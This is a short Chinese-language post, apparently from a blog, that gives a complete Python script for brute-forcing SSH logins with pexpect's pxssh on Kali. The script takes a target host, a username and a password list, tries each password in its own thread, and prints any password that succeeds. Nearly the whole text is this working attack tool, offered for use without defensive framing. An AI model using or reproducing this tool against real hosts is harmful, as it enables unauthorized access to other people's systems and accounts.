应用Pxssh是pexpect库的ssh专用脚本
环境:kali
代码:
"""
Author:yw
"""
from pexpect import pxssh
import optparse
from threading import *
Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+]Password Found:"+password)
Found = True
except Exception as e:
pass
def main():
parser = optparse.OptionParser("usage %prog -H <target host> -f <passwd file> -u <username>")
parser.add_option("-H", dest="host", type="string", help="target host")
parser.add_option("-f", dest="passwdfile",type="string", help="passwofile")
parser.add_option("-u", dest="user", type="string", help="login username")
(options,args) = parser.parse_args()
host = options.host
passwdfile = options.passwdfile
user = options.user
if host==None or passwdfile==None or user==None:
print(parser.usage)
exit(0)
mn = open(passwdfile,"r")
lines = mn.readlines()
for line in lines:
with connection_lock:
password = line.strip("\n")
print("[-] Test:"+str(password))
t = Thread(target=connect,args=(host, user, password))
t.start()
if __name__ == "__main__":
main()"""